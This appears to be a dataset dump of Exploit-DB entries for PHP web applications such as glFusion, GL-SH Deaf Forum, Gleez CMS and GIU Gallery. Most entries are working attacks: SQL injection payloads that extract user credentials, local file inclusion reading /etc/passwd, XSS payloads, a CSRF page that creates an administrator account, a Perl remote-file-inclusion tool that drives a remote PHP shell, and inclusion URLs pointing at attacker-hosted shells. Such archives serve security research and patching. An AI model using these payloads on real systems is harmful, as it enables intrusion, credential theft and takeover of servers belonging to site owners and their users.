deardaniel/secdata-raw huggingface dataset:
Exploit-DB #45622
Description: GIU Gallery Image Upload 0.3.1 - 'category' SQL Injection
Type: webapps
Platform: php
Date: 2018-10-16
Author: Ihsan Sencan

Exploit:
# Exploit Title: GIU Gallery Image Upload 0.3.1 - 'category' SQL Injection
# Dork: N/A
# Date: 2018-10-16
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://tradesouthwest.com
# Software Link: https://sourceforge.net/projects/giugalleryimageupload/
# Version: 0.3.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/index.php?category=[SQL]

%27++unIOn+SElect+0x496873616e53656e63616e%2c0x496873616e53656e63616e%2c0x496873616e53656e63616e%2c(SElect(@x)From(SElect(@x:=0x00)%20%2c(SElect(@x)From(user)WHERE(@x)IN(@x:=COncaT(0x20%2c@x%2c0x557365726e616d65203a%2cfull_name%2c0x3c62723e506173733a20%2cuser_pwd%2c0x3c62723e))))x)%2c0x496873616e53656e63616e%2c0x496873616e53656e63616e--+-

GET /[PATH]/index.php?category=Image%20Gallery%27++unIOn+SElect+0x496873616e53656e63616e%2c0x496873616e53656e63616e%2c0x496873616e53656e63616e%2c(SElect(@x)From(SElect(@x:=0x00)%20%2c(SElect(@x)From(user)WHERE(@x)IN(@x:=COncaT(0x20%2c@x%2c0x557365726e616d65203a%2cfull_name%2c0x3c62723e506173733a20%2cuser_pwd%2c0x3c62723e))))x)%2c0x496873616e53656e63616e%2c0x496873616e53656e63616e--+- HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
HTTP/1.1 200 OK
Date: Tue, 16 Oct 2018 00:23:41 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Content-Length: 2300
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Exploit-DB #36568
Description: Giveaway Manager - 'members.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-01-16
Author: Am!r

Exploit:
source: https://www.securityfocus.com/bid/51431/info

Giveaway Manager is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Giveaway Manager 3 is vulnerable; other versions may also be affected.

http://www.example.com/members.php?id=[XSS]
Exploit-DB #2905
Description: Gizzar 03162002 - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-12-09
Author: DeltahackingTEAM

Exploit:
#!/usr/bin/perl
#gizzar --Remote File Inclusion Vulnerablity
#Class = Remote File Inclusion
#Bug Found & Exploit [c]oded By  DeltahackingTEAM      (Dr.Trojan&Dr.Pantagon)
#Download:http://switch.dl.sourceforge.net/sourceforge/gizzar/gizzar-03162002.tar.gz
#Vulnerable
#Code:include_once($basePath."include/config.php")&include_once($basePath."include/access.php")
#exploit: http://[site]/gizzar/index.php?basePath=http://yourscript

use LWP::UserAgent;

$target=@ARGV[0];
$shellsite=@ARGV[1];
$cmdv=@ARGV[2];

if($target!~/http:\/\// || $shellsite!~/http:\/\// || !$cmdv)
{
       usg()
}
header();


while()
{
print "[Shell] \$";
while (<STDIN>)
{
       $cmd=$_;
       chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET=>$target.'/index.php?basePath='.$shellsite='.?&'.$cmdv.'='.$cmd) or die "\n\n Failed to Connect, Try again!\n";
$res = $xpl->request($req);
$info = $res->content;
$info =~ tr/[\n]/[&#234;]/;


if (!$cmd) {
print "\nEnter a Command\n\n"; $info ="";
}
elsif ($info =~/failed to open stream: HTTP request failed!/ || $info =~/:
Cannot execute a blank command in <b>/)
{
print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";
exit;
}


elsif ($info =~/^<br.\/>.<b>Warning/) {
print "\nInvalid Command\n\n";
};


if($info =~ /(.+)<br.\/>.<b>Warning.(.+)<br.\/>.<b>Warning/)
{
$final = $1;
$final=~ tr/[&#234;]/[\n]/;
print "\n$final\n";
last;
}

else {
print "[shell] \$";
}
}
}
last;



sub header()
{
print q{
*******************************************************************************
         ***(#$#$#$#$#$=>http://www.deltasecurity.ir<=#$#$#$#$#$)***

Vulnerablity found By: DeltahackingTEAM

Exploit [c]oded By: Dr.Trojan

Dr.Trojan,HIV++,D_7j,Lord,VPc,IMpostor,Dr.Pantagon

http://advistory.deltasecurity.ir

We Server(99/999% Secure) <<<<<www.takserver.ir>>>>>

Email:Dr.Trojan[A]deltasecurity.ir 0nly Black Hat
******************************************************************************
}
}
sub usg()
{
header();
print q{
Usage: perl delta.pl [tucows fullpath] [Shell Location] [Shell Cmd]
[gizzar FULL PATH] - Path to site exp. www.site.com
[shell Location] - Path to shell exp. d4wood.by.ru/cmd.gif
[shell Cmd Variable] - Command variable for php shell
Example: perl delta.pl http://www.site.com/[gizzar]/
********************************************************************************
};

exit();
}

# milw0rm.com [2006-12-09]
Exploit-DB #37769
Description: Gkplugins Picasaweb - Download File
Type: webapps
Platform: php
Date: 2015-08-15
Author: TMT zno

Exploit:
# Exploit Title: Gkplugins Picasaweb Download File
# Date : 2015-08-13
# Exploit Author : TMT [VNhgroup]
# Vendor Homepage: https://gkplugins.com/
# Tested on: Windows 7

File
------------------------
$fileout = $_GET['f']; <--  can you download file
$filelength = $_GET['l'];
$filestream = $_GET['start'];
if($fileout!=""){
	$fileout = urldecode($fileout);
	$filelength = urldecode($filelength);
	if($filestream!=""){
		$filelength -= $filestream;
		$filestream = "?start=".$filestream;
	}
	header('Content-Type: application/octet-stream');
	header('Content-Length: ' . $filelength);
	readfile($fileout.$filestream);
}else{
	$text = get_curl($link); 
	echo $text;
}

------------------------------
Exploit Code:
site.com/plugins/gkplugins_picasaweb/plugins/plugins_player.php?f=../../../index.php
Exploit-DB #4124
Description: GL-SH Deaf Forum 6.4.4 - Local File Inclusion
Type: webapps
Platform: php
Date: 2007-06-28
Author: Katatafish

Exploit:
###GL-SH Deaf Board Version <= 6.4.4 local file inclusion###

#download: http://www.frank-karau.de/download/Deafforum_version_6.4.3.zip

#found by: Katatafish (karatatata@hush.com)

#google dork:"2005  www.frank-karau.de" | "2006  www.frank-karau.de"

#exploit:
http://www.site.com/[path]/functions.php?FORUM_LANGUAGE=../../../../../../../../../../../etc/passwd
http://www.site.com/[path]/bottom.php?style=../../../../../../.././etc/passwd%00

# milw0rm.com [2007-06-28]
Exploit-DB #31943
Description: GL-SH Deaf Forum 6.5.5 - Cross-Site Scripting / Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-06-20
Author: AmnPardaz

Exploit:
source: https://www.securityfocus.com/bid/29849/info

GL-SH Deaf Forum is prone to a cross-site scripting vulnerability and an arbitrary-file-upload vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage the cross-site scripting issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. The attacker can exploit the file-upload issue to execute arbitrary code in the context of the webserver.

GL-SH Deaf Forum 6.5.5 is vulnerable; prior versions may also be affected. 

<form action="http://[URL]/[Forum path]/search.php" method="post">
<tr><td class=g>XSS: <small></td><tr>
"<SCRIPT>alert(/BugReport.ir-XSS/.source)</SCRIPT>
<br><tr><td class=g><INPUT TYPE="text" class="txt" NAME="search" SIZE="30" MAXLENGTH="100"><br/>
<tr><td class=g><INPUT TYPE="RADIO" checked NAME="type" VALUE="themen">&nbsp;search only in topics</td></tr>
<tr><td class=g><INPUT TYPE="RADIO" NAME="type" VALUE="beitraege">&nbsp;search in topics and answers</td></tr>
<INPUT TYPE="SUBMIT" class="btn" NAME="submit" VALUE="submit"></td></tr>
Exploit-DB #5870
Description: GL-SH Deaf Forum 6.5.5 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2008-06-20
Author: BugReport.IR

Exploit:
########################## www.BugReport.ir #######################################
#
#        AmnPardaz Security Research Team
#
# Title: GL-SH Deaf Forum <=6.5.5 Multiple Vulnerabilities
# Vendor: www.frank-karau.de
# Vulnerable Version: 6.5.5 and prior versions
# Exploit: Available
# Impact: High
# Fix: N/A
# Original Advisory: www.bugreport.ir/?/46
###################################################################################

####################
1. Description:
####################
    Gl-SH Deaf board is programmed a free board in PHP, without My SQL, With 10 Designs and 5 languages.
####################
2. Vulnerabilities:
####################
    2.1. Local File Inclusion (LFI) in "/functions.php" in "FORUM_LANGUAGE" parameter.
        2.1.1. Exploit:
                        Check the exploit/POC section.
    2.2. File (image) Upload without premission.
        2.2.1. Exploit:
                        Check the exploit/POC section.
    2.3. Cross Site Scripting (XSS). Reflected XSS attack in "search.php".
        2.3.1. Exploit:
                        Check the exploit/POC section.

####################
3. Exploits/POCs:
####################
    Original Exploit URL: http://bugreport.ir/index.php?/46/exploit
    3.1. Local File Inclusion (LFI) in "/functions.php" in "FORUM_LANGUAGE" parameter.
        -------------
        LFI:
            http://[URL]/[Forum Path]/functions.php?FORUM_LANGUAGE=/../../../../../../../../../../etc/passwd
        -------------
    3.2. File (image) Upload with out premission.
        -------------
        Uploader link:
            http://[URL]/[Forum Path]/upload.php
        -------------
    3.3. Cross Site Scripting (XSS). Reflected XSS attack in "search.php".
        -------------
            <form action="http://[URL]/[Forum path]/search.php" method="post">
            <tr><td class=g>XSS: <small></td><tr>
            &quot;&lt;SCRIPT&gt;alert(/BugReport.ir-XSS/.source)&lt;/SCRIPT&gt;
            <br><tr><td class=g><INPUT TYPE="text" class="txt" NAME="search" SIZE="30" MAXLENGTH="100"><br/>
            <tr><td class=g><INPUT TYPE="RADIO" checked NAME="type" VALUE="themen">&nbsp;search only in topics</td></tr>
            <tr><td class=g><INPUT TYPE="RADIO" NAME="type" VALUE="beitraege">&nbsp;search in topics and answers</td></tr>
            <INPUT TYPE="SUBMIT" class="btn" NAME="submit" VALUE="submit"></td></tr>
        -------------
####################
4. Solution:
####################
    Edit the source code to ensure that inputs are properly sanitized. check permission for upload page.
####################
5. Credit:
####################
AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
WwW.BugReport.ir
WwW.AmnPardaz.com

# milw0rm.com [2008-06-20]
Exploit-DB #45258
Description: Gleez CMS 1.2.0 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2018-08-27
Author: GunEggWang

Exploit:
# Exploit Title: Gleez CMS 1.2.0 - Cross-Site Request Forgery (Add Admin)
# Date: 2018-08-24
# Exploit Author: GunEggWang
# Vendor Homepage: https://gleezcms.org/
# Software Link: https://github.com/gleez/cms
# Version: 1.2.0
# CVE : CVE-2018-15845

# Description: 
# There is a CSRF vulnerability that can add an administrator account in 
# Gleez CMS 1.2.0 via admin/users/add. (https://github.com/gleez/cms/issues/800)
# After the administrator logged in,open the POC,that will create an new admin account unexcused.
# POC:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://server/admin/users/add?0=" method="POST">
      <input type="hidden" name="_token" value="18eabd0645699b3eec1686301a684392e8a4735a" />
      <input type="hidden" name="_action" value="909998bbc9e60ce40ae378a1055b46f3" />
      <input type="hidden" name="name" value="test" />
      <input type="hidden" name="pass" value="test" />
      <input type="hidden" name="nick" value="test" />
      <input type="hidden" name="mail" value="admin@admin.cc" />
      <input type="hidden" name="status" value="1" />
      <input type="hidden" name="roles[admin]" value="Administrative user, has access to everything." />
      <input type="hidden" name="site_url" value="http://server/" />
      <input type="hidden" name="user" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Exploit-DB #32784
Description: glFusion 1.1 - Anonymous Comment 'Username' HTML Injection
Type: webapps
Platform: php
Date: 2009-02-05
Author: Bjarne Mathiesen Schacht

Exploit:
source: https://www.securityfocus.com/bid/33683/info

glFusion is prone to an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.

glFusion 1.1.0 and 1.1.1 are vulnerable; other versions may also be affected. 

POST /comment.php HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash,
application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-
application, */*
Accept-Language: da
Content-Type: application/x-www-form-urlencoded
UA-CPU: x86
Accept-Encoding:
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Host: www.glfusion.org
Pragma: no-cache
Connection: Keep-Alive
sid=fileid_20&pid=0&type=filemgmt&_glsectoken=&comment=&uid=1&username=Anonymous+Use
r%22%3e%3csCrIpT%3ealert(1234)%3c%2fsCrIpT%3e&title=Hello&comment=Hello&comment_h
tml=Hello&postmode=html&captcha=47TXJC&csid=49816d4bcd4b&mode=Submit+Comment
Exploit-DB #35391
Description: glFusion 1.1.x/1.2.1 - 'users.php' SQL Injection
Type: webapps
Platform: php
Date: 2011-02-25
Author: H3X

Exploit:
source: https://www.securityfocus.com/bid/46575/info

glFusion is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

The vendor refutes this issue stating it can not be exploited as described. 

http://www.example.com/user.php?mode=1 and substring(version(),1,1)=4
http://www.example.com/user.php?mode=1 and substring(version(),1,1)=5
Exploit-DB #28185
Description: glFusion 1.3.0 - 'search.php?cat_id' SQL Injection
Type: webapps
Platform: php
Date: 2013-09-10
Author: Omar Kurt

Exploit:
Information
--------------------
Name :  SQL Injection Vulnerability in glFusion
Software :  glFusion 1.3.0 and possibly below.
Vendor Homepage : http://www.glfusion.org
Vulnerability Type :  Blind SQL Injection
Severity :  Critical
Researcher :  Omar Kurt
Advisory Reference :  NS-13-009

Description
--------------------
A dynamic system based on flexible and granular permissions, with spam
protection, forums, file management, media gallery, calendars, polls,
site-wide search, RSS feeds, and more!

Details
--------------------
glFusion is affected by SQL Injection vulnerability in version 1.3.0.
Example PoC url is as follows:
Blind SQL Injection Vulnerability
http://example.com/mediagallery/search.php
POST - param:
cat_id='+(SELECT 1 FROM (SELECT SLEEP(25))A)+'

You can read the full article about SQL Injection vulnerabilities from here
:

http://www.mavitunasecurity.com/sql-injection/

Solution
--------------------
http://www.glfusion.org/article.php/glfusion131

Advisory Timeline
--------------------
05/09/2013 - First contact: No response
05/09/2013 - Vendor replied
05/09/2013 - Shared details
06/09/2013 - Fix released
09/09/2013 - Advisory Released

Credits
--------------------
It has been discovered on testing of Netsparker, Web Application Security
Scanner - http://www.mavitunasecurity.com/netsparker/.

References
--------------------
MSL Advisory Link :
https://www.mavitunasecurity.com/sql-injection-vulnerability-in-glfusion/
Netsparker Advisories :
http://www.mavitunasecurity.com/netsparker-advisories/

About Netsparker
--------------------
Netsparker® can find and report security issues such as SQL Injection and
Cross-site Scripting (XSS) in all web applications regardless of the
platform and the technology they are built on. Netsparker's unique
detection and exploitation techniques allows it to be dead accurate in
reporting hence it's the first and the only False Positive Free web
application security scanner.
-- 
Netsparker Advisories, <advisories@mavitunasecurity.com>
Homepage, http://www.mavitunasecurity.com/netsparker-advisories/
Exploit-DB #36621
Description: glFusion 1.x - SQL Injection
Type: webapps
Platform: php
Date: 2012-01-24
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/51650/info

glFusion is prone to multiple SQL-injection vulnerabilities and an arbitrary-file-upload vulnerability because it fails to sanitize user-supplied data.

Exploiting these issues could allow an attacker to compromise the application, execute arbitrary code, access or modify data, or exploit latent vulnerabilities in the underlying database.

glFusion 1.2.2 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/profiles.php?sid=-1+UNION+SELECT+1,2,3,4,5,version(),NULL,6--
http://www.example.com/[path]/article.php?story='1 AND 2=-1 UNION SELECT 1,2,3,4,5,version(),NULL,6--
Exploit-DB #15995
Description: glfusion CMS 1.2.1 - 'img' Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-01-15
Author: Saif

Exploit:
# Exploit Title: glfusion CMS 1.2.1 stored XSS via img tag
# Date: 14-1-2010
# Author: Saif El-Sherei
# Software Link:
www.glfusion.org/filemgmt/viewcat.php?cid=1<http://php.opensourcecms.com/scripts/redirect/download.php?id=33>
# Version: 1.2.1
# Tested on: Firefox 3.0.15

Info:
*
glFusion <http://www.glfusion.org/>* gives you the ability to easily create
websites and online communities complete with add-ons like Forums,
CAPTCHA/Spam filters, Calendars, File & Media Gallery management solutions,
WYSIWYG editors, and MooTools AJAX support, all right out of the box.


Details:

Failure to sanitize the BBcode image tags in the forum posts allows attacker
to perform XSS attacks. also noted that u can't inject any "src" attribute
in the attack so we use the second POC.


POC:

[img w=30><script>alert(123);</script> h=30]images/help.png[/img]

[img
w=30><script>document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,61,34,104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,50,51,49,46,49,50,56,58,56,48,56,48,47,34,32,104,101,105,103,104,116,61,34,48,34,32,119,105,100,116,104,61,34,48,34,62));</script>
h=30]x[/img]

Regards,

Saif El-Sherei

OSCP
Exploit-DB #41665
Description: GLink Word Link Script 1.2.3 - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-22
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: GLink Word Link Script v1.2.3 - SQL Injection
# Google Dork: N/A
# Date: 22.03.2017
# Vendor Homepage: http://www.tufat.com/
# Software: http://www.tufat.com/wp-content/uploads/sites/4/2015/zips/script_131.zip
# Demo: http://www.tufat.com/glink-word-link-script/
# Version: 1.2.3
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/url.php?id=[SQL]
# -1'+union+select+1,2,3,4,5,6,7,concat(user,0x3a,pass),9,10,11,12,13,14,15,16,17,18+from+glink_admin_users--+-
# http://localhost/[PATH]/get_words.php?gid=[SQL]
# -1'+union+select+1,concat(user,0x3a,pass),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30+from+glink_admin_users--+-&step=3
# http://localhost/[PATH]/get_words.php?wid=[SQL]
# -1'+union+select+1,2,concat(user,0x3a,pass),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+glink_admin_users--+-&gid=1&step=3
# Etc...
# # # # #
Exploit-DB #51690
Description: Global - Multi School Management System Express v1.0- SQL Injection
Type: webapps
Platform: php
Date: 2023-08-21
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title:  Global - Multi School Management System Express v1.0- SQL Injection
# Date: 2023-08-12
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor: https://codecanyon.net/item/global-multi-school-management-system-express/21975378
# Tested on: Kali Linux & MacOS
# CVE: N/A

### Request ###
POST /report/balance HTTP/1.1
Content-Type: multipart/form-data; boundary=----------YWJkMTQzNDcw
Accept: */*
X-Requested-With: XMLHttpRequest
Referer: http://localhost
Cookie: gmsms=b8d36491f08934ac621b6bc7170eaef18290469f
Content-Length: 472
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Host: localhost
Connection: Keep-alive
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="school_id"
0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="academic_year_id"

------------YWJkMTQzNDcw
Content-Disposition: form-data; name="group_by"

------------YWJkMTQzNDcw
Content-Disposition: form-data; name="date_from"

------------YWJkMTQzNDcw
Content-Disposition: form-data; name="date_to"

------------YWJkMTQzNDcw--

### Parameter & Payloads ###
Parameter: MULTIPART school_id ((custom) POST)
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY
clause (EXTRACTVALUE)
Payload: ------------YWJkMTQzNDcw
Content-Disposition: form-data; name="school_id"
0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z' AND
EXTRACTVALUE(1586,CONCAT(0x5c,0x71766b6b71,(SELECT
(ELT(1586=1586,1))),0x716a627071)) AND 'Dyjx'='Dyjx
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="academic_year_id"

------------YWJkMTQzNDcw
Content-Disposition: form-data; name="group_by"

------------YWJkMTQzNDcw
Content-Disposition: form-data; name="date_from"

------------YWJkMTQzNDcw
Content-Disposition: form-data; name="date_to"

------------YWJkMTQzNDcw–
Exploit-DB #30438
Description: Global Centre Aplomb Poll 1.1 - 'admin.php?Madoa' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-07-30
Author: ilker Kandemir

Exploit:
source: https://www.securityfocus.com/bid/25138/info
 
Aplomb Poll is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
 
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.
 
Aplomb Poll 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/admin.php?Madoa=http://shell.txt?